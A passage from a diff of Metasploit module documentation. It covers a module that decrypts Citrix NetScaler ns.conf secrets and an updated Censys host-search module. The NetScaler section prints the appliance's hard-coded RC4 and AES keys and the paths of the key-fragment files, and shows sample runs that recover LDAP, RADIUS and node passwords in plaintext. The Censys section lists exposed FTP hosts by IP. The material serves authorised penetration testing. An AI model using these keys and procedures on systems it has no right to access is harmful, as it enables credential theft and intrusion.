At completion, the `data/ysoserial_payloads.json` file is overwritten and the 22 dynamic payloads are ready for use within the framework. Afterward, the developer should follow the standard `git` procedures to `add` and `commit` the new JSON file before generating a pull request and landing the updated JSON into the framework's `master` branch.
|
||||
|
||||
[1]: https://github.com/pimps/ysoserial-modified/blob/e71f70dbc5e8c27d72873014ac5cb7766f4b5b94/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11-L30
|
||||
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
|
||||
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
This module takes a Citrix NetScaler `ns.conf` configuration file as input and extracts secrets that
|
||||
have been stored with reversible encryption. The module supports legacy NetScaler encryption (RC4)
|
||||
as well as the newer AES-256-ECB and AES-256-CBC encryption types. It is also possible to decrypt
|
||||
secrets protected by the Key Encryption Key (KEK) method, provided the key fragment files F1.key
|
||||
and F2.key are provided. Currently, keys for appliances in FIPS mode or running hardware HSM cannot
|
||||
be extracted. Root access to a NetScaler device or access to a NetScaler configuration backup are
|
||||
the most effective means of acquiring the configuration file and key fragments.
|
||||
|
||||
This module incorporates research published by dozer:
|
||||
|
||||
https://dozer.nz/posts/citrix-decrypt/
|
||||
|
||||
## Vulnerable Application
|
||||
This module is tested against the configuration files for NetScaler versions 10.x, 11x, 12.x and
|
||||
13.x. The module will work with files retrieved from a live NetScaler system as well as files
|
||||
extracted from an unencrypted NetScaler backup archive. This is possible because NetScaler uses
|
||||
well-known hard coded encryption keys which are visible on the system in the hidden file:
|
||||
|
||||
`/nsconfig/.skf`
|
||||
|
||||
These static keys are:
|
||||
|
||||
```
|
||||
NetScaler RC4:
|
||||
2286da6ca015bcd9b7259753c2a5fbc2
|
||||
NetScaler AES:
|
||||
351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9
|
||||
```
|
||||
The module is also able to decrypt secrets encrypted with NetScaler KEK, provided the associated
|
||||
`F1.key` and `F2.key` fragments are provided. Private key passphrases that use `-passcrypt` are not
|
||||
currently decryptable by this module, but any secret that uses the `-encrypted` parameter should be
|
||||
fully recoverable.
|
||||
|
||||
## Verification Steps
|
||||
You must possess a NetScaler `ns.conf` file in order to use this module. If the NetScaler is running
|
||||
NS13.0 Build76.xx.nc or higher, or the administrator has configured KEK encryption, you must also
|
||||
possess the associated KEK key fragments in order to decrypt the file. All files must be local to
|
||||
the system invoking the module. Where possible, you should provide the `NS_IP` option to tag
|
||||
relevant loot entries with the IPv4 address of the originating system. If no value is provided for
|
||||
`NS_IP` the module defaults to assigning the loopback IP `127.0.0.1`.
|
||||
|
||||
1. Acquire the `ns.conf` file, and associated `F1.key` and `F2.key` files if using NS KEK
|
||||
2. Start msfconsole
|
||||
3. Do: `modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb`
|
||||
4. Do: `set ns_conf <path to ns.conf>` to provide the location of the NetScaler config file
|
||||
5. Do: `set ns_kek_f1 <path to f1.key>` if you are decrypting a file using NS KEK
|
||||
6. Do: `set ns_kek_f2 <path to f2.key>` if you are decrypting a file using NS KEK
|
||||
6. Do: `set ns_ip <NetScaler IPv4>` to attach the target NetScaler IPv4 address to loot entries
|
||||
7. Do: `dump`
|
||||
|
||||
## Options
|
||||
### NS_CONF
|
||||
|
||||
Path to the NetScaler configuration file on the local system. Example: `/tmp/ns.conf`
|
||||
|
||||
### NS_KEK_F1
|
||||
|
||||
Path to the first of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F1.key`
|
||||
|
||||
### NS_KEK_F2
|
||||
|
||||
Path to the second of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F2.key`
|
||||
|
||||
### NS_IP
|
||||
|
||||
Optional parameter to set the IPv4 address associated with loot entries made by the module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Acquire NetScaler Config File
|
||||
NetScaler configuration files can be retrieved from a live system by running
|
||||
|
||||
`show ns.conf`
|
||||
|
||||
From the nscli or
|
||||
|
||||
`cat /nsconfig/ns.conf`
|
||||
|
||||
from the BSD shell. These files can also be retrieved from NetScaler configuration backup
|
||||
archives which are generated from the appliance admin interface.
|
||||
|
||||
### Acquire KEK Fragment Files
|
||||
As of NS13.0 Build76.xx.nc NetScaler requires mandatory use of the Key Encryption Key (KEK)
|
||||
scheme. If secrets within the config file use KEK, you must also posses the associated KEK F1
|
||||
and F2 fragment files in order to perform decryption. Secrets that require KEK fragments to
|
||||
decrypt will include the `-kek` parameter on the associated configuration line. It is possible
|
||||
for an admin to manually enable KEK in NS builds prior to Build76.xx.nc - if this has been done,
|
||||
the current KEK key fragments are located in the following paths:
|
||||
|
||||
`/nsconfig/F1.key`
|
||||
`/nsconfig/F2.key`
|
||||
|
||||
After NS13.0 Build76.xx.nc, KEK is mandatory and managed by the NetScaler itself. Key fragments
|
||||
are presumably regenerated during firmware upgrades, and a journal is maintained in `/nsconfig/keys`
|
||||
suffixed with a date stamp. The `F1.key` and `F2.key` files are ignored, and the new "current" KEK
|
||||
key is stored in hidden files at paths:
|
||||
|
||||
`/nsconfig/.F1.key`
|
||||
`/nsconfig/.F2.key`
|
||||
|
||||
As well as under `/nsconfig/keys`. Note that both fragments must be provided for successful
|
||||
decryption. The module can be run without providing KEK fragments, but will be unable to decrypt
|
||||
any secrets that use KEK encryption. An unencrypted NetScaler backup archive will contain all KEK
|
||||
fragments currently defined on the appliance as well as the current `ns.conf` file.
|
||||
|
||||
### Running the Module
|
||||
|
||||
Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc:
|
||||
```
|
||||
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
|
||||
ns_conf => /tmp/ns.conf.NS11.0-62.10.conf
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
|
||||
|
||||
[*] Config line:
|
||||
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED
|
||||
[!] Not decrypting passcrypt entry:
|
||||
[!] Ciphertext: VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=
|
||||
[*] Config line:
|
||||
set ns encryptionParams -method AES256 -keyValue 7654526a2f3ceffd877b286a8acece43da700d06133dc985f7ebdeb076135bcb755472e04f5d92aba9f07334eb8e936a58782ce76bb3f6d6e44adf727e8e88d602b8bdae1817d26203fe281a8429574d -encrypted -encryptmethod ENCMTHD_3
|
||||
[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g==
|
||||
[*] Config line:
|
||||
add authentication radiusAction UTIL1 -serverIP 10.100.10.13 -serverPort 1812 -radKey f8e4f532e9d4e6bebab169b3be9e77b5c851466b7760c469bd64a15d2e8d3c602025c41372094d06e207789d58b6acb7 -encrypted -encryptmethod ENCMTHD_3
|
||||
[+] Plaintext: hbZaADYDUmdHv7AhHsAb6eCde2M82m0
|
||||
[*] Config line:
|
||||
add authentication ldapAction LDAP -serverName ldap.cesium137.io -serverPort 636 -ldapBase "DC=chainheart,DC=com" -ldapBindDn wiz@cesium137.io -ldapBindDnPassword f5dc75680b925dbd3c0a8154c8fee056bfe77ac774797de3c0867d368bd09c2cdd872a36e15a1f07abf773740e2c8a12 -encrypted -encryptmethod ENCMTHD_3 -ldapLoginName sAMAccountName -groupAttrName memberOf -secType SSL -ldapHostname ldap.cesium137.io
|
||||
[+] User: wiz@cesium137.io
|
||||
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
|
||||
[*] Config line:
|
||||
set ns rpcNode 10.100.10.11 -password 9ec84444b10941dc4222f93b29a75f0aa237ffdcc73a81355bf5d1cf3d80058daaad7ca58e488e54bc3ff3eea8ffd9eb -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11
|
||||
[+] Plaintext: 447a325517739063bbaa414ecf1d9c3
|
||||
[*] Config line:
|
||||
set ns rpcNode 10.100.10.12 -password dd5c0c4952509e2fcfaeb238dfc361b79a844df09254087920ee0cf4dc447161bde8491d8a39ded0fa2526cc46e6a00f -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11
|
||||
[+] Plaintext: 447a325517739063bbaa414ecf1d9c3
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password e209865546c3d2e8462e3e7a962252eb6d9e26374163c8d902fc3535cb12638c514765dcea4792eb1e3e6b5e1c1c4cef -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin
|
||||
[+] User: wiz@cesium137.io
|
||||
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 4ae7bec92e25d985df315e543b846b2c30346840d8e945f5073832c3e479d60eee581f67d671759ae555210529eaec8d -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin
|
||||
[+] User: wiz@cesium137.io
|
||||
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
|
||||
```
|
||||
|
||||
Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc:
|
||||
|
||||
```
|
||||
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf
|
||||
ns_conf => /tmp/ns.conf
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
|
||||
ns_kek_f1 => /tmp/F1.key
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
|
||||
ns_kek_f2 => /tmp/F2.key
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
|
||||
|
||||
[*] Building NetScaler KEK from key fragments ...
|
||||
[+] NS KEK F1
|
||||
[+] HEX: dd2588bb3cb20dd643216c33489776c78e8c56f13b1301e0984dc80564eea49e
|
||||
[+] NS KEK F2
|
||||
[+] HEX: 45f9e6780a1dc40b6fe75bedf2f6dbb9a86e4315d07313014fe2381c52e44d8f
|
||||
[+] Assembled NS KEK AES key
|
||||
[+] HEX: 54f202b9a94649fd9eaa3f13eab514a5a267f460db0a2393f8b25f321a7d79e0
|
||||
|
||||
[*] Config line:
|
||||
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key 30f39257d8aacc737182568184e0d535002d90a7aba3454c1e8766a958d3a4a720e485c498adc681f0e7559ff633f932 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
|
||||
[+] Plaintext: zgkEUD86rUv76coT0DkIBj1xlp5qEzH
|
||||
[*] Config line:
|
||||
add ssl certKey ldap_cesium137_io -cert ldap_cesium137_io.pem -key ldap_cesium137_io.key d7902778370c616480ef781c5b3922ef31bd90e75dd3aecfa0fa8a5bafc4fa16b20ed2f7a07970c3f4d8ba201a3b9b72 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor ENABLED -notificationPeriod 90
|
||||
[+] Plaintext: YaqoRLtSnnMPgnWyhAedYv2RO1aVtx8
|
||||
[*] Config line:
|
||||
add ssl certKey mail_cesium137_io -cert mail_cesium137_io-g3.pem -key mail_cesium137_io-g3.key 0e5ca2011772a9943c8f4281668b7236a8dfb97da290487d1953fa5ef768272f33d20122b055878729c75c29efaa3291 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
|
||||
[+] Plaintext: TBkrkfnP4QOWIT0FX8QCLl2GkNrnM
|
||||
[*] Config line:
|
||||
add ssl certKey auth_cesium137_io -cert auth_cesium137_io-g3.pem -key auth_cesium137_io-g3.key d574cca92065da27309ce87a423ac82e0c1571cd4c6df59a725f7eabee97d40136a250152506cb15962e34c90f1dc25c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
|
||||
[+] Plaintext: flEkB3SW4YTTi9HRNnffmvJLSgJhsz5
|
||||
[*] Config line:
|
||||
set ns encryptionParams -method AES256 -keyValue ec5d48485c6871d1d4a2b01f9126946c53aa49eae721c8114ba7a34a1b1f8eabd443a9d641bbf5ef67f2b0237c481673587846db5378f72f9025f0762f8f9cbeebf4a16aaa2782d5c6ecd90c48a1c30d -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35
|
||||
[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g==
|
||||
[*] Config line:
|
||||
add authentication radiusAction APP01_DUO -serverIP 10.100.10.13 -serverPort 11812 -authTimeout 60 -radKey 535587632ffe91f2559fcf5902c7e4bf24961ee2e7f6285c03c87c2e65165fbc -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON
|
||||
[+] Plaintext: IAmSam!
|
||||
[*] Config line:
|
||||
add authentication radiusAction APP01_DUO_CITRIXRECEIVER -serverIP 10.100.10.13 -serverPort 21812 -authTimeout 60 -radKey 6644f481004ac7dee5a05b5a8dc3d9d9ae8c76f5fe82e0430b43acd7fb5afe9c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON
|
||||
[+] Plaintext: IAmSam!
|
||||
[*] Config line:
|
||||
add authentication ldapAction AD_DUA2FAUSERS -serverName ldap.cesium137.io -serverPort 636 -authTimeout 60 -ldapBase "DC=cesium137,DC=io" -ldapBindDn ldap@cesium137.io -ldapBindDnPassword 7fbbf2ef9665641264406c17673c0cdb5774b76454f3ac8c7bb067dd0d2228c5 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -ldapLoginName sAMAccountName -searchFilter "&(objectCategory=user)(memberOf=CN=2FA-OWA,CN=Users,DC=cesium137,DC=io)" -groupAttrName memberOf -subAttributeName cn -secType SSL -passwdChange ENABLED -nestedGroupExtraction ON -groupNameIdentifier sAMAccountName -groupSearchAttribute memberOf -groupSearchSubAttribute CN
|
||||
[+] User: ldap@cesium137.io
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Config line:
|
||||
set ns rpcNode 192.168.10.14 -password 2634fa338c457cb32fdf245873874a9b8fcd7128f6534641f49ea650e9f0974b -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14
|
||||
[+] Plaintext: SamIAm!
|
||||
[*] Config line:
|
||||
set ns rpcNode 192.168.10.15 -password 6955e686fc5dd3beee5013dad0e0fa6510a56029b52cc7d7ed15082a60ec6ce4 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14
|
||||
[+] Plaintext: SamIAm!
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password cc1f6bb054f5d63d5eb871fdd36ff573f3343c1e0238965682460c6f084d1e14-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13862
|
||||
[+] User: ldap@cesium137.io
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 5c35e0aa5c3d999e9ff10de1fa32910f9ac28b1ee8824c2301ac964e1f5f987e-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13863
|
||||
[+] User: ldap@cesium137.io
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Config line:
|
||||
add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c5990558d4bfae059f27191f4c91a2dfa826d7318db287e109f5da39f9 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -resptimeout 4 -destPort 1812 -devno 13864
|
||||
[+] User: ldap
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
|
||||
```
|
||||
@@ -1,212 +1,131 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The module use the Censys REST API to access the same data accessible through web interface.
|
||||
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
|
||||
The module uses the Censys REST API to access the same data accessible through
|
||||
the web interface. The search endpoint allows queries using the Censys Search
|
||||
Language against the Hosts dataset. Setting the CERTIFICATES option will also
|
||||
retrieve the certificate details for each relevant service by querying the
|
||||
Certificates dataset.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/censys_search`
|
||||
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes))
|
||||
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32)
|
||||
4. Do: `set CENSYS_SEARCHTYPE certificates`
|
||||
5: Do: `set CENSYS_DORK query`
|
||||
6: Do: `run`
|
||||
1. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes))
|
||||
1. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32)
|
||||
1. Do: `set CERTIFICATES true` (to get certificates details - optional)
|
||||
1. Do: `set QUERY <query>`
|
||||
1. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Certificates Search
|
||||
A single keyword or a domain name can be used. For advanced searches, the Censys Search Language can also be used.
|
||||
Here, the following query is used to get the hosts running FTP or Telnet in Germany:
|
||||
```
|
||||
location.country_code: DE and services.service_name: {"FTP", "Telnet"}
|
||||
```
|
||||
|
||||
### Without certificates details
|
||||
|
||||
```
|
||||
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||
CENSYS_DORK => rapid7
|
||||
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
|
||||
CENSYS_SEARCHTYPE => certificates
|
||||
msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID=<redacted> CENSYS_SECRET=<redacted>
|
||||
|
||||
[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP
|
||||
[+] 2.19.184.214 - 21/FTP
|
||||
[+] 2.19.184.216 - 21/FTP
|
||||
[+] 2.23.14.108 - 21/FTP
|
||||
[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN
|
||||
[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN
|
||||
[+] 2.23.14.199 - 21/FTP
|
||||
[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN
|
||||
[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN
|
||||
[+] 2.23.14.212 - 21/FTP
|
||||
[+] 2.23.14.218 - 21/FTP
|
||||
[+] 2.23.14.235 - 21/FTP
|
||||
[+] 2.23.14.243 - 21/FTP
|
||||
[+] 2.23.15.71 - 21/FTP,22/SSH,80/HTTP,443/HTTP
|
||||
[+] 2.23.15.238 - 21/FTP,80/HTTP,443/HTTP
|
||||
[+] 2.56.11.154 - 21/FTP,22/SSH,25/SMTP,53/DNS,80/HTTP,110/POP3,143/IMAP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,2077/HTTP,2078/HTTP,2079/HTTP,2080/HTTP,2082/HTTP,2083/HTTP,2086/HTTP,2087/HTTP,2095/HTTP,2096/HTTP,3306/MYSQL
|
||||
[+] 2.56.11.222 - 21/FTP,22/SSH,80/HTTP,111/PORTMAP,137/NETBIOS,443/HTTP,445/SMB
|
||||
[+] 2.56.77.123 - 21/FTP,22/SSH,80/HTTP
|
||||
[+] 2.56.77.162 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,5022/SSH,8443/HTTP,50080/HTTP
|
||||
[+] 2.56.77.185 - 21/FTP,25/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN
|
||||
[+] 2.56.77.186 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN,5060/SIP
|
||||
[+] 2.56.77.189 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/HTTP,8080/HTTP,50080/HTTP
|
||||
...
|
||||
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
|
||||
```
|
||||
|
||||
### With certificates details
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID=<redacted> CENSYS_SECRET=<redacted> CERTIFICATES=true
|
||||
|
||||
[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP
|
||||
[*] Certificate for 21/FTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K)
|
||||
[*] Certificate for 443/HTTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K)
|
||||
[+] 2.19.184.214 - 21/FTP
|
||||
[+] 2.19.184.216 - 21/FTP
|
||||
[+] 2.23.14.108 - 21/FTP
|
||||
[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN
|
||||
[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN
|
||||
[+] 2.23.14.199 - 21/FTP
|
||||
[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN
|
||||
